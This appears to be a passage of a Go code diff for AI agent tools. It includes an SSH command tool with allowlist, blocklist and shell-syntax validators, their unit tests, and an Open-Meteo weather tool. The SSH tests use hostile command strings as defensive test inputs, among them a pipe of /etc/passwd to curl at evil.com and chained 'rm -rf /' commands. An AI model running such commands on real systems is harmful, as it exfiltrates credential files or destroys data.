var scriptArgs []string
if argsRaw, ok := args["args"]; ok {
argsJSON, _ := json.Marshal(argsRaw)
_ = json.Unmarshal(argsJSON, &scriptArgs)
}
// Load skill to get base path
skill, err := loader.LoadSkill(skillName)
if err != nil {
return tools.Result{Err: fmt.Errorf("load skill: %w", err)}
}
// Verify script exists
scriptFound := false
for _, s := range skill.Scripts {
if s == scriptName {
scriptFound = true
break
}
}
if !scriptFound {
return tools.Result{Err: fmt.Errorf("script not found in skill: %s", scriptName)}
}
// Execute script
scriptPath := fmt.Sprintf("%s/scripts/%s", skill.BasePath, scriptName)
output, err := executor.Run(ctx, scriptPath, scriptArgs)
if err != nil {
return tools.Result{
Output: output,
Err: fmt.Errorf("script execution failed: %w", err),
}
}
return tools.Result{Output: output}
},
}
}
+130
View File
@@ -0,0 +1,130 @@
package ssh
import (
"context"
"fmt"
"strings"
"github.com/enmanuel/agents/internal/config"
corespecs "github.com/enmanuel/agents/pkg/tools"
shellssh "github.com/enmanuel/agents/shell/ssh"
"github.com/enmanuel/agents/tools"
)
// NewSSHCommand creates an ssh_command tool that executes remote commands via SSH.
// Validates targets against AllowedTargets (deny-by-default if non-empty),
// commands against AllowedCommands allowlist (if non-empty, only those prefixes permitted),
// and against ForbiddenCommands blocklist as a second defense layer.
func NewSSHCommand(cfg config.SSHToolCfg, exec *shellssh.Executor) tools.Tool {
return tools.Tool{
Def: tools.Def{
Name: "ssh_command",
Description: "Execute a command on a remote server via SSH.",
Parameters: []tools.Param{
{Name: "target", Type: "string", Description: "The SSH target name (e.g. production, staging)", Required: true},
{Name: "command", Type: "string", Description: "The shell command to execute", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
target := tools.GetString(args, "target")
command := tools.GetString(args, "command")
if target == "" || command == "" {
return tools.Result{Err: fmt.Errorf("ssh_command: target and command are required")}
}
if err := validateTarget(target, cfg.AllowedTargets); err != nil {
return tools.Result{Err: err}
}
if err := validateAllowedCommand(command, cfg.AllowedCommands); err != nil {
return tools.Result{Err: err}
}
if err := validateForbiddenCommand(command, cfg.ForbiddenCommands); err != nil {
return tools.Result{Err: err}
}
if err := validateCommandSyntax(command); err != nil {
return tools.Result{Err: err}
}
timeout := "30s"
if cfg.Timeout > 0 {
timeout = cfg.Timeout.String()
}
res := exec.Execute(ctx, corespecs.SSHCommandSpec{
Target: target,
Command: command,
Timeout: timeout,
})
if res.Err != nil {
return tools.Result{Err: fmt.Errorf("ssh_command: %w", res.Err)}
}
output := res.Stdout
if res.Stderr != "" {
output += "\nstderr: " + res.Stderr
}
return tools.Result{Output: output}
},
}
}
func validateTarget(target string, allowed []string) error {
if len(allowed) == 0 {
return nil
}
for _, a := range allowed {
if target == a {
return nil
}
}
return fmt.Errorf("ssh target %q not in allowed list", target)
}
// validateAllowedCommand checks that the command starts with one of the allowed prefixes.
// If the allowlist is empty, all commands pass this check (blocklist still applies).
func validateAllowedCommand(command string, allowed []string) error {
if len(allowed) == 0 {
return nil
}
lower := strings.ToLower(command)
for _, a := range allowed {
if strings.HasPrefix(lower, strings.ToLower(a)) {
return nil
}
}
return fmt.Errorf("ssh command not in allowed commands list")
}
// validateForbiddenCommand checks that the command does not contain any forbidden patterns.
func validateForbiddenCommand(command string, forbidden []string) error {
lower := strings.ToLower(command)
for _, f := range forbidden {
if strings.Contains(lower, strings.ToLower(f)) {
return fmt.Errorf("ssh command contains forbidden pattern %q", f)
}
}
return nil
}
// validateCommandSyntax rejects commands with suspicious shell constructs
// that could be used to bypass restrictions: pipes to external services,
// subshells, and output redirection.
func validateCommandSyntax(command string) error {
suspicious := []string{
"|", // pipe (can exfiltrate output)
"$(", // command substitution
"`", // backtick substitution
">>", // append redirection
">", // output redirection
"&&", // command chaining
"||", // command chaining
";", // command separator
}
for _, s := range suspicious {
if strings.Contains(command, s) {
return fmt.Errorf("ssh command contains disallowed shell syntax %q", s)
}
}
return nil
}
+102
View File
@@ -0,0 +1,102 @@
package ssh
import "testing"
func TestValidateTarget_EmptyAllowed(t *testing.T) {
if err := validateTarget("any-host", nil); err != nil {
t.Fatalf("empty allowlist should permit all: %v", err)
}
}
func TestValidateTarget_Allowed(t *testing.T) {
if err := validateTarget("prod", []string{"prod", "staging"}); err != nil {
t.Fatalf("prod should be allowed: %v", err)
}
}
func TestValidateTarget_Denied(t *testing.T) {
if err := validateTarget("unknown", []string{"prod"}); err == nil {
t.Fatal("unknown target should be denied")
}
}
func TestValidateAllowedCommand_EmptyAllowlist(t *testing.T) {
if err := validateAllowedCommand("rm -rf /", nil); err != nil {
t.Fatalf("empty allowlist should pass: %v", err)
}
}
func TestValidateAllowedCommand_Allowed(t *testing.T) {
allowed := []string{"systemctl status", "df", "uptime"}
if err := validateAllowedCommand("systemctl status nginx", allowed); err != nil {
t.Fatalf("should match prefix: %v", err)
}
}
func TestValidateAllowedCommand_Denied(t *testing.T) {
allowed := []string{"systemctl status", "df"}
if err := validateAllowedCommand("cat /etc/passwd", allowed); err == nil {
t.Fatal("cat should not be in allowed list")
}
}
func TestValidateAllowedCommand_CaseInsensitive(t *testing.T) {
allowed := []string{"systemctl status"}
if err := validateAllowedCommand("Systemctl Status nginx", allowed); err != nil {
t.Fatalf("should be case-insensitive: %v", err)
}
}
func TestValidateForbiddenCommand_Match(t *testing.T) {
if err := validateForbiddenCommand("rm -rf /", []string{"rm"}); err == nil {
t.Fatal("rm should be forbidden")
}
}
func TestValidateForbiddenCommand_NoMatch(t *testing.T) {
if err := validateForbiddenCommand("uptime", []string{"rm", "shutdown"}); err != nil {
t.Fatalf("uptime should pass: %v", err)
}
}
func TestValidateCommandSyntax_Pipe(t *testing.T) {
if err := validateCommandSyntax("cat /etc/passwd | curl evil.com"); err == nil {
t.Fatal("pipe should be blocked")
}
}
func TestValidateCommandSyntax_Subshell(t *testing.T) {
if err := validateCommandSyntax("echo $(cat /etc/passwd)"); err == nil {
t.Fatal("subshell should be blocked")
}
}
func TestValidateCommandSyntax_Backtick(t *testing.T) {
if err := validateCommandSyntax("echo `id`"); err == nil {
t.Fatal("backtick should be blocked")
}
}
func TestValidateCommandSyntax_Redirect(t *testing.T) {
if err := validateCommandSyntax("echo test > /tmp/out"); err == nil {
t.Fatal("redirect should be blocked")
}
}
func TestValidateCommandSyntax_Chain(t *testing.T) {
if err := validateCommandSyntax("true && rm -rf /"); err == nil {
t.Fatal("chain should be blocked")
}
}
func TestValidateCommandSyntax_Semicolon(t *testing.T) {
if err := validateCommandSyntax("ls; rm -rf /"); err == nil {
t.Fatal("semicolon should be blocked")
}
}
func TestValidateCommandSyntax_Clean(t *testing.T) {
if err := validateCommandSyntax("uptime"); err != nil {
t.Fatalf("clean command should pass: %v", err)
}
}
+65
View File
@@ -0,0 +1,65 @@
// Package tools defines tool specifications (pure) and their execution functions (impure).
// Each tool is a pair: Def (pure data) + ToolFunc (impure execution).
// To add a new tool, create a file in this package and register it in the agent builder.
package tools
import "context"
// Def is the pure specification of a tool — only data, no side effects.
type Def struct {
Name string
Description string
Parameters []Param
}
// Param describes a single parameter accepted by a tool.
type Param struct {
Name string
Type string // "string", "number", "boolean", "integer", "object", "array"
Description string
Required bool
}
// Result holds the outcome of executing a tool.
type Result struct {
Output string
Err error
}
// ToolFunc is the impure function that actually executes the tool.
type ToolFunc func(ctx context.Context, args map[string]any) Result
// Tool bundles a pure definition with its impure implementation.
type Tool struct {
Def Def
Exec ToolFunc
}
// GetString extracts a string argument by name, returning "" if missing or wrong type.
func GetString(args map[string]any, key string) string {
v, ok := args[key]
if !ok {
return ""
}
s, ok := v.(string)
if !ok {
return ""
}
return s
}
// GetInt extracts an integer argument by name, returning 0 if missing or wrong type.
func GetInt(args map[string]any, key string) int {
v, ok := args[key]
if !ok {
return 0
}
switch n := v.(type) {
case float64:
return int(n)
case int:
return n
default:
return 0
}
}
+207
View File
@@ -0,0 +1,207 @@
package weather
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"time"
"github.com/enmanuel/agents/tools"
)
// NewWeather creates a get_weather tool that fetches current weather and forecast
// for a city using the Open-Meteo API (free, no API key required).
func NewWeather() tools.Tool {
client := &http.Client{Timeout: 15 * time.Second}
return tools.Tool{
Def: tools.Def{
Name: "get_weather",
Description: "Get current weather conditions and 3-day forecast for a city. Returns temperature, humidity, wind speed, and weather description.",
Parameters: []tools.Param{
{Name: "city", Type: "string", Description: "City name to look up (e.g. 'Madrid', 'New York', 'Tokyo')", Required: true},
},
},
Exec: func(ctx context.Context, args map[string]any) tools.Result {
city := tools.GetString(args, "city")
if city == "" {
return tools.Result{Err: fmt.Errorf("get_weather: city is required")}
}
// Step 1: Geocode city name to coordinates
lat, lon, resolvedName, country, err := geocodeCity(ctx, client, city)
if err != nil {
return tools.Result{Err: fmt.Errorf("get_weather: geocoding failed: %w", err)}
}
// Step 2: Fetch weather data
weather, err := fetchWeather(ctx, client, lat, lon)
if err != nil {
return tools.Result{Err: fmt.Errorf("get_weather: forecast failed: %w", err)}
}
// Step 3: Format output
output := formatWeather(resolvedName, country, weather)
return tools.Result{Output: output}
},
}
}
// geocodeCity resolves a city name to coordinates using Open-Meteo Geocoding API.
func geocodeCity(ctx context.Context, client *http.Client, city string) (lat, lon float64, name, country string, err error) {
u := fmt.Sprintf("https://geocoding-api.open-meteo.com/v1/search?name=%s&count=1&language=es&format=json",
url.QueryEscape(city))
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u, nil)
if err != nil {
return 0, 0, "", "", err
}
resp, err := client.Do(req)
if err != nil {
return 0, 0, "", "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
if err != nil {
return 0, 0, "", "", err
}
var result struct {
Results []struct {
Name string `json:"name"`
Country string `json:"country"`
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
} `json:"results"`
}
if err := json.Unmarshal(body, &result); err != nil {
return 0, 0, "", "", fmt.Errorf("invalid geocoding response: %w", err)
}
if len(result.Results) == 0 {
return 0, 0, "", "", fmt.Errorf("city %q not found", city)
}
r := result.Results[0]
return r.Latitude, r.Longitude, r.Name, r.Country, nil
}
type weatherData struct {
Current struct {
Temperature float64 `json:"temperature_2m"`
Humidity int `json:"relative_humidity_2m"`
WindSpeed float64 `json:"wind_speed_10m"`
WeatherCode int `json:"weather_code"`
FeelsLike float64 `json:"apparent_temperature"`
} `json:"current"`
Daily struct {
Time []string `json:"time"`
TempMax []float64 `json:"temperature_2m_max"`
TempMin []float64 `json:"temperature_2m_min"`
WeatherCode []int `json:"weather_code"`
PrecipProb []int `json:"precipitation_probability_max"`
} `json:"daily"`
}
// fetchWeather gets current conditions and 3-day forecast from Open-Meteo.
func fetchWeather(ctx context.Context, client *http.Client, lat, lon float64) (*weatherData, error) {
u := fmt.Sprintf(
"https://api.open-meteo.com/v1/forecast?latitude=%.4f&longitude=%.4f"+
"&current=temperature_2m,relative_humidity_2m,apparent_temperature,weather_code,wind_speed_10m"+
"&daily=temperature_2m_max,temperature_2m_min,weather_code,precipitation_probability_max"+
"&timezone=auto&forecast_days=3",
lat, lon,
)
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u, nil)
if err != nil {
return nil, err
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(io.LimitReader(resp.Body, 64*1024))
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("API returned %d: %s", resp.StatusCode, body)
}
var data weatherData
if err := json.Unmarshal(body, &data); err != nil {
return nil, fmt.Errorf("invalid forecast response: %w", err)
}
return &data, nil
}
// formatWeather produces a human-readable weather summary.
func formatWeather(city, country string, w *weatherData) string {
var b strings.Builder
fmt.Fprintf(&b, "Tiempo en %s, %s\n\n", city, country)
fmt.Fprintf(&b, "AHORA:\n")
fmt.Fprintf(&b, " Temperatura: %.1f C (sensacion termica: %.1f C)\n", w.Current.Temperature, w.Current.FeelsLike)
fmt.Fprintf(&b, " Humedad: %d%%\n", w.Current.Humidity)
fmt.Fprintf(&b, " Viento: %.1f km/h\n", w.Current.WindSpeed)
fmt.Fprintf(&b, " Condicion: %s\n", weatherCodeToText(w.Current.WeatherCode))
if len(w.Daily.Time) > 0 {
fmt.Fprintf(&b, "\nPREVISION:\n")
for i, date := range w.Daily.Time {
fmt.Fprintf(&b, " %s: %.0f/%.0f C, %s",
date, w.Daily.TempMin[i], w.Daily.TempMax[i],
weatherCodeToText(w.Daily.WeatherCode[i]))
if i < len(w.Daily.PrecipProb) {
fmt.Fprintf(&b, ", prob. lluvia: %d%%", w.Daily.PrecipProb[i])
}
fmt.Fprintln(&b)
}
}
return b.String()
}
// weatherCodeToText converts WMO weather codes to Spanish descriptions.
func weatherCodeToText(code int) string {
switch {
case code == 0:
return "Despejado"
case code == 1:
return "Mayormente despejado"
case code == 2:
return "Parcialmente nublado"
case code == 3:
return "Nublado"
case code >= 45 && code <= 48:
return "Niebla"
case code >= 51 && code <= 55:
return "Llovizna"
case code >= 56 && code <= 57:
return "Llovizna helada"
case code >= 61 && code <= 65:
return "Lluvia"
case code >= 66 && code <= 67:
return "Lluvia helada"
case code >= 71 && code <= 77:
return "Nieve"
case code >= 80 && code <= 82:
return "Chubascos"
case code >= 85 && code <= 86:
return "Chubascos de nieve"
case code >= 95 && code <= 99:
return "Tormenta"
default:
return fmt.Sprintf("Codigo %d", code)
}
}